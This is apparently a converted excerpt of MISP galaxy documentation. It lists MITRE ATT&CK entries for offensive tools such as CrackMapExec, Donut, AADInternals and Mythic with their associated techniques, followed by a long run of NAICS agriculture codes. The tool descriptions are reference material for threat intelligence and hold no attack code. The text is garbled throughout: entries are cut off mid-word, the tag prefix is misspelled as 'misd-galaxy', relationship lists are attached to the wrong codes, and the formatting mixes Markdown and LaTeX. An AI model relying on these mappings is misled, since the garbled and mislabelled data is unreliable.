- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

Table 7276. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0645">https://attack.mitre.org/software/S0645</a></td>
</tr>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wevtutil</a></td>
</tr>
</tbody>
</table>
**ROADTools - S0684**

[ROADTools](https://attack.mitre.org/software/S0684) is a framework for enumerating Azure Active Directory environments. The tool is written in Python and publicly available on GitHub.(Citation: ROADtools Github)

The tag is: `misp-galaxy:mitre-tool="ROADTools - S0684"`

ROADTools - S0684 is also known as:

- ROADTools

**View relationships graph**

ROADTools - S0684 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Cloud Groups - T1069.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526"` with estimative-language:likelihood-probability="almost-certain"

**Table 7277. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0684">https://attack.mitre.org/software/S0684</a></td>
</tr>
<tr>
<td><a href="https://github.com/dirkjanm/ROADtools">https://github.com/dirkjanm/ROADtools</a></td>
</tr>
</tbody>
</table>

**CrackMapExec - S0488**

[CrackMapExec](https://attack.mitre.org/software/S0488), or CME, is a post-exploitation tool developed in Python and designed for penetration testing against networks. [CrackMapExec](https://attack.mitre.org/software/S0488) collects Active Directory information to conduct lateral movement through targeted networks.(Citation: CME Github September 2018)

The tag is: `misp-galaxy:mitre-tool="CrackMapExec - S0488"`

CrackMapExec - S0488 is also known as:

- CrackMapExec
CrackMapExec - S0488 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Password Guessing - T1110.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Spraying - T1110.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-
Donut - S0695

[Donut](https://attack.mitre.org/software/S0695) is an open source framework used to generate position-independent shellcode. [Donut Github](https://attack.mitre.org/software/S0695) generated code has been used by multiple threat actors to inject and load malicious payloads into memory. [Introducing Donut]

The tag is: `misp-galaxy:mitre-tool="Donut - S0695"`

Donut - S0695 is also known as:

- Donut

View relationships graph

Donut - S0695 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001"` with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7279. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0695">https://attack.mitre.org/software/S0695</a></td>
</tr>
<tr>
<td><a href="https://github.com/TheWover/donut">https://github.com/TheWover/donut</a></td>
</tr>
<tr>
<td><a href="https://thewover.github.io/Introducing-Donut/">https://thewover.github.io/Introducing-Donut/</a></td>
</tr>
</tbody>
</table>

AADInternals - S0677

[AADInternals](https://attack.mitre.org/software/S0677) is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.(Citation: AADInternals Github)(Citation: AADInternals Documentation)

The tag is: `misp-galaxy:mitre-tool="AADInternals - S0677"

AADInternals - S0677 is also known as:

• AADInternals

View relationships graph

AADInternals - S0677 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Cloud Groups - T1069.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SAML Tokens - T1606.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Domain Trust Modification - T1484.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Cloud Storage - T1530" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Hybrid Identity - T1556.007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Steal or Forge Authentication Certificates - T1649" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Device Registration - T1098.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1528" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Cloud Account - T1087.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Cloud Account - T1136.003" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Multi-Factor Authentication - T1556.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Silver Ticket - T1558.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Cloud Administration Command - T1651" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Cloud Service Discovery - T1526" with estimative-language:likelihood-probability="almost-certain"
Table 7280. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0677">https://attack.mitre.org/software/S0677</a></td>
</tr>
<tr>
<td><a href="https://github.com/Gerenios/AADInternals">https://github.com/Gerenios/AADInternals</a></td>
</tr>
<tr>
<td><a href="https://o365blog.com/aadinternals">https://o365blog.com/aadinternals</a></td>
</tr>
<tr>
<td><a href="https://o365blog.com/aadinternals/">https://o365blog.com/aadinternals/</a></td>
</tr>
</tbody>
</table>

**Mythic - S0699**

[Mythic](https://attack.mitre.org/software/S0699) is an open source, cross-platform post-exploitation/command and control platform. [Mythic](https://attack.mitre.org/software/S0699) is designed to "plug-n-play" with various agents and communication channels.(Citation: Mythic Github)(Citation: Mythic SpecterOps)(Citation: Mythc Documentation) Deployed [Mythic](https://attack.mitre.org/software/S0699) C2 servers have been observed as part of potentially malicious infrastructure.(Citation: RecordedFuture 2021 Ad Infra)

The tag is: `misp-galaxy:mitre-tool="Mythic - S0699"`

Mythic - S0699 is also known as:

- Mythic

**View relationships graph**

Mythic - S0699 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Data Transfer Size Limits - T1030"` with estimative-
The North American Industry Classification System or NAICS is a classification of business establishments by type of economic activity (the process of production).

NAICS is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP.

Authors
Executive Office of the President Office of Management and Budget

11
Agriculture, Forestry, Fishing and Hunting

The tag is: misp-galaxy:naics="11"

View relationships graph

11 has relationships with:

- parent-of: misp-galaxy:naics="111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="113" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="114" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="115" with estimative-language:likelihood-probability="likely"

111

Crop Production

The tag is: misp-galaxy:naics="111"

View relationships graph

111 has relationships with:

• child-of: misp-galaxy:naics="11" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="1112" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="1114" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"

1111

Oilseed and Grain Farming

The tag is: misp-galaxy:naics="1111"

View relationships graph

1111 has relationships with:

• child-of: misp-galaxy:naics="11" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11111" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="111110" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11112" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="111120" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11113" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="111130" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11114" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="111140" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11115" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="111150" with estimative-language:likelihood-probability="likely"
11111
Soybean Farming
The tag is: misd-galaxy:naics="11111"
View relationships graph

11111 has relationships with:

- child-of: misd-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misd-galaxy:naics="111110" with estimative-language:likelihood-probability="likely"

111110
Soybean Farming
The tag is: misd-galaxy:naics="111110"
View relationships graph

111110 has relationships with:

- child-of: misd-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misd-galaxy:naics="11111" with estimative-language:likelihood-probability="likely"

11112
Oilseed (except Soybean) Farming
The tag is: misd-galaxy:naics="11112"
View relationships graph

11112 has relationships with:

- child-of: misd-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misd-galaxy:naics="111120" with estimative-language:likelihood-probability="likely"
111120
Oilseed (except Soybean) Farming
The tag is: misp-galaxy:naics="111120"

View relationships graph

111120 has relationships with:

• child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="11112" with estimative-language:likelihood-probability="likely"

11113
Dry Pea and Bean Farming
The tag is: misp-galaxy:naics="11113"

View relationships graph

11113 has relationships with:

• child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="111130" with estimative-language:likelihood-probability="likely"

111130
Dry Pea and Bean Farming
The tag is: misp-galaxy:naics="111130"

View relationships graph

111130 has relationships with:

• child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="11113" with estimative-language:likelihood-probability="likely"

11114
Wheat Farming
The tag is: misp-galaxy:naics="11114"

View relationships graph

11114 has relationships with:
• child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="111140" with estimative-language:likelihood-probability="likely"

111140
Wheat Farming
The tag is: misp-galaxy:naics="111140"

View relationships graph

111140 has relationships with:
• child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="11114" with estimative-language:likelihood-probability="likely"

11115
Corn Farming
The tag is: misp-galaxy:naics="11115"

View relationships graph

11115 has relationships with:
• child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="111150" with estimative-language:likelihood-probability="likely"

111150
Corn Farming
The tag is: misp-galaxy:naics="111150"

View relationships graph

111150 has relationships with:
• child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="11115" with estimative-language:likelihood-probability="likely"

11116
Rice Farming
The tag is: misp-galaxy:naics="11116"
11116 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="111160" with estimative-language:likelihood-probability="likely"

111160

Rice Farming

The tag is: misp-galaxy:naics="111160"

11119 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11116" with estimative-language:likelihood-probability="likely"

11119

Other Grain Farming

The tag is: misp-galaxy:naics="11119"

111191 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"

111191

Oilseed and Grain Combination Farming

The tag is: misp-galaxy:naics="111191"

111199 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"

111199

All Other Grain Farming

The tag is: misp-galaxy:naics="111199"
View relationships graph

111199 has relationships with:

- child-of: misp-galaxy:naics="1111" with estimative-language:likelihood-probability="likely"

1112

Vegetable and Melon Farming

The tag is: misp-galaxy:naics="1112"

View relationships graph

1112 has relationships with:

- child-of: misp-galaxy:naics="111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11121" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111211" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111219" with estimative-language:likelihood-probability="likely"

11121

Vegetable and Melon Farming

The tag is: misp-galaxy:naics="11121"

View relationships graph

11121 has relationships with:

- child-of: misp-galaxy:naics="111" with estimative-language:likelihood-probability="likely"

111211

Potato Farming

The tag is: misp-galaxy:naics="111211"

View relationships graph

111211 has relationships with:

- child-of: misp-galaxy:naics="111" with estimative-language:likelihood-probability="likely"

111219

Other Vegetable (except Potato) and Melon Farming
The tag is: *misp-galaxy:naics="111219"*

**View relationships graph**

111219 has relationships with:

- child-of: *misp-galaxy:naics="1112"* with estimative-language:likelihood-probability="likely"

**1113**

Fruit and Tree Nut Farming

The tag is: *misp-galaxy:naics="1113"*

**View relationships graph**

1113 has relationships with:

- child-of: *misp-galaxy:naics="111"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="11131"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="111310"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="11132"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="111320"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="11133"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="111331"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="111332"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="111333"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="111334"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="111335"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="111336"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="111339"* with estimative-language:likelihood-probability="likely"

**11131**

Orange Groves

The tag is: *misp-galaxy:naics="11131"*

**View relationships graph**

11131 has relationships with:

- child-of: *misp-galaxy:naics="111"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="11131"* with estimative-language:likelihood-probability="likely"
- parent-of: *misp-galaxy:naics="111310"* with estimative-language:likelihood-probability="likely"
**111310**

Orange Groves

The tag is: `misp-galaxy:naics="111310"`

View relationships graph

111310 has relationships with:

- child-of: `misp-galaxy:naics="1113"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="11131"` with estimative-language:likelihood-probability="likely"

**11132**

Citrus (except Orange) Groves

The tag is: `misp-galaxy:naics="11132"`

View relationships graph

11132 has relationships with:

- child-of: `misp-galaxy:naics="1113"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="111320"` with estimative-language:likelihood-probability="likely"

**111320**

Citrus (except Orange) Groves

The tag is: `misp-galaxy:naics="111320"`

View relationships graph

111320 has relationships with:

- child-of: `misp-galaxy:naics="1113"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="11132"` with estimative-language:likelihood-probability="likely"

**11133**

Noncitrus Fruit and Tree Nut Farming

The tag is: `misp-galaxy:naics="11133"`

View relationships graph

11133 has relationships with:
111331
Apple Orchards
The tag is: misp-galaxy:naics="111331"
View relationships graph
111331 has relationships with:
  • child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"

111332
Grape Vineyards
The tag is: misp-galaxy:naics="111332"
View relationships graph
111332 has relationships with:
  • child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"

111333
Strawberry Farming
The tag is: misp-galaxy:naics="111333"
View relationships graph
111333 has relationships with:
  • child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"

111334
Berry (except Strawberry) Farming
The tag is: misp-galaxy:naics="111334"
View relationships graph
111334 has relationships with:
  • child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"
111335
Tree Nut Farming
The tag is: misp-galaxy:naics="111335"
View relationships graph
111335 has relationships with:
  • child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"

111336
Fruit and Tree Nut Combination Farming
The tag is: misp-galaxy:naics="111336"
View relationships graph
111336 has relationships with:
  • child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"

111339
Other Noncitrus Fruit Farming
The tag is: misp-galaxy:naics="111339"
View relationships graph
111339 has relationships with:
  • child-of: misp-galaxy:naics="1113" with estimative-language:likelihood-probability="likely"

1114
Greenhouse, Nursery, and Floriculture Production
The tag is: misp-galaxy:naics="1114"
View relationships graph
1114 has relationships with:
  • child-of: misp-galaxy:naics="111" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="11141" with estimative-language:likelihood-probability="likely"
  • parent-of: misp-galaxy:naics="111411" with estimative-language:likelihood-probability="likely"
11141

Food Crops Grown Under Cover

The tag is: misp-galaxy:naics="11141"

View relationships graph

11141 has relationships with:

- child-of: misp-galaxy:naics="1114" with estimative-language:likelihood-probability="likely"

111411

Mushroom Production

The tag is: misp-galaxy:naics="111411"

View relationships graph

111411 has relationships with:

- child-of: misp-galaxy:naics="1114" with estimative-language:likelihood-probability="likely"

111419

Other Food Crops Grown Under Cover

The tag is: misp-galaxy:naics="111419"

View relationships graph

111419 has relationships with:

- child-of: misp-galaxy:naics="1114" with estimative-language:likelihood-probability="likely"

11142

Nursery and Floriculture Production

The tag is: misp-galaxy:naics="11142"

View relationships graph
11142 has relationships with:

- child-of: misp-galaxy:naics="1114" with estimative-language:likelihood-probability="likely"

111421

Nursery and Tree Production

The tag is: misp-galaxy:naics="111421"

View relationships graph

111421 has relationships with:

- child-of: misp-galaxy:naics="1114" with estimative-language:likelihood-probability="likely"

111422

Floriculture Production

The tag is: misp-galaxy:naics="111422"

View relationships graph

111422 has relationships with:

- child-of: misp-galaxy:naics="1114" with estimative-language:likelihood-probability="likely"

1119

Other Crop Farming

The tag is: misp-galaxy:naics="1119"

View relationships graph

1119 has relationships with:

- child-of: misp-galaxy:naics="111" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11191" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111910" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11192" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111920" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111930" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11194" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="111940" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11199" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="111991" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="111992" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="111998" with estimative-language:likelihood-probability="likely"

11191
Tobacco Farming
The tag is: misp-galaxy:naics="11191"
View relationships graph

11191 has relationships with:
• child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="111910" with estimative-language:likelihood-probability="likely"

111910
Tobacco Farming
The tag is: misp-galaxy:naics="111910"
View relationships graph

111910 has relationships with:
• child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="11191" with estimative-language:likelihood-probability="likely"

11192
Cotton Farming
The tag is: misp-galaxy:naics="11192"
View relationships graph

11192 has relationships with:
• child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="11191" with estimative-language:likelihood-probability="likely"

111920
Cotton Farming
The tag is: \textit{misp-galaxy:naics="111920"}

\textbf{View relationships graph}

111920 has relationships with:

- child-of: \textit{misp-galaxy:naics="1119"} with estimative-language:likelihood-probability="likely"
- similar: \textit{misp-galaxy:naics="11192"} with estimative-language:likelihood-probability="likely"

11193

Sugarcane Farming

The tag is: \textit{misp-galaxy:naics="11193"}

\textbf{View relationships graph}

11193 has relationships with:

- child-of: \textit{misp-galaxy:naics="1119"} with estimative-language:likelihood-probability="likely"
- similar: \textit{misp-galaxy:naics="111930"} with estimative-language:likelihood-probability="likely"

111930

Sugarcane Farming

The tag is: \textit{misp-galaxy:naics="111930"}

\textbf{View relationships graph}

111930 has relationships with:

- child-of: \textit{misp-galaxy:naics="1119"} with estimative-language:likelihood-probability="likely"
- similar: \textit{misp-galaxy:naics="11193"} with estimative-language:likelihood-probability="likely"

11194

Hay Farming

The tag is: \textit{misp-galaxy:naics="11194"}

\textbf{View relationships graph}

11194 has relationships with:

- child-of: \textit{misp-galaxy:naics="1119"} with estimative-language:likelihood-probability="likely"
- similar: \textit{misp-galaxy:naics="111940"} with estimative-language:likelihood-probability="likely"
111940
Hay Farming
The tag is: misp-galaxy:naics="111940"

View relationships graph

111940 has relationships with:

• child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="11194" with estimative-language:likelihood-probability="likely"

11199
All Other Crop Farming
The tag is: misp-galaxy:naics="11199"

View relationships graph

11199 has relationships with:

• child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"

111991
Sugar Beet Farming
The tag is: misp-galaxy:naics="111991"

View relationships graph

111991 has relationships with:

• child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"

111992
Peanut Farming
The tag is: misp-galaxy:naics="111992"

View relationships graph

111992 has relationships with:

• child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"
111998
All Other Miscellaneous Crop Farming
The tag is: misp-galaxy:naics="111998"

View relationships graph

111998 has relationships with:
• child-of: misp-galaxy:naics="1119" with estimative-language:likelihood-probability="likely"

112
Animal Production and Aquaculture
The tag is: misp-galaxy:naics="112"

View relationships graph

112 has relationships with:
• child-of: misp-galaxy:naics="11" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="1121" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="1122" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="1124" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="1125" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="1129" with estimative-language:likelihood-probability="likely"

1121
Cattle Ranching and Farming
The tag is: misp-galaxy:naics="1121"

View relationships graph

1121 has relationships with:
• child-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11211" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="112111" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="112112" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11212" with estimative-language:likelihood-probability="likely"
11211
Beef Cattle Ranching and Farming, including Feedlots
The tag is: \textit{misp-galaxy:naics="11211"}
View relationships graph
11211 has relationships with:
\begin{itemize}
  \item child-of: misp-galaxy:naics="1121" with estimative-language:likelihood-probability="likely"
\end{itemize}

112111
Beef Cattle Ranching and Farming
The tag is: \textit{misp-galaxy:naics="112111"}
View relationships graph
112111 has relationships with:
\begin{itemize}
  \item child-of: misp-galaxy:naics="1121" with estimative-language:likelihood-probability="likely"
\end{itemize}

112112
Cattle Feedlots
The tag is: \textit{misp-galaxy:naics="112112"}
View relationships graph
112112 has relationships with:
\begin{itemize}
  \item child-of: misp-galaxy:naics="1121" with estimative-language:likelihood-probability="likely"
\end{itemize}

11212
Dairy Cattle and Milk Production
The tag is: \textit{misp-galaxy:naics="11212"}
View relationships graph
11212 has relationships with:
112120
Dairy Cattle and Milk Production
The tag is: `misp-galaxy:naics="112120"`

View relationships graph

112120 has relationships with:
- child-of: `misp-galaxy:naics="1121"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="11212"` with estimative-language:likelihood-probability="likely"

11213
Dual-Purpose Cattle Ranching and Farming
The tag is: `misp-galaxy:naics="11213"`

View relationships graph

11213 has relationships with:
- child-of: `misp-galaxy:naics="1121"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="112130"` with estimative-language:likelihood-probability="likely"

112130
Dual-Purpose Cattle Ranching and Farming
The tag is: `misp-galaxy:naics="112130"`

View relationships graph

112130 has relationships with:
- child-of: `misp-galaxy:naics="1121"` with estimative-language:likelihood-probability="likely"
- similar: `misp-galaxy:naics="11213"` with estimative-language:likelihood-probability="likely"

1122
Hog and Pig Farming
The tag is: `misp-galaxy:naics="1122"`
1122 has relationships with:

- child-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11221" with estimative-language:likelihood-probability="likely"

**11221**

Hog and Pig Farming

The tag is: `misp-galaxy:naics="11221"`

View relationships graph

11221 has relationships with:

- child-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="112210" with estimative-language:likelihood-probability="likely"

**112210**

Hog and Pig Farming

The tag is: `misp-galaxy:naics="112210"`

View relationships graph

112210 has relationships with:

- child-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:naics="11221" with estimative-language:likelihood-probability="likely"

**1123**

Poultry and Egg Production

The tag is: `misp-galaxy:naics="1123"`

View relationships graph

1123 has relationships with:

- child-of: misp-galaxy:naics="112" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="11231" with estimative-language:likelihood-probability="likely"
- parent-of: misp-galaxy:naics="112310" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11232" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="112320" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11233" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="112330" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11234" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="112340" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="11239" with estimative-language:likelihood-probability="likely"
• parent-of: misp-galaxy:naics="112390" with estimative-language:likelihood-probability="likely"

11231

Chicken Egg Production

The tag is: misp-galaxy:naics="11231"

View relationships graph

11231 has relationships with:

• child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="112310" with estimative-language:likelihood-probability="likely"

112310

Chicken Egg Production

The tag is: misp-galaxy:naics="112310"

View relationships graph

112310 has relationships with:

• child-of: misp-galaxy:naics="1123" with estimative-language:likelihood-probability="likely"
• similar: misp-galaxy:naics="11231" with estimative-language:likelihood-probability="likely"

11232

Broilers and Other Meat Type Chicken Production

The tag is: misp-galaxy:naics="11232"

View relationships graph

11232 has relationships with:

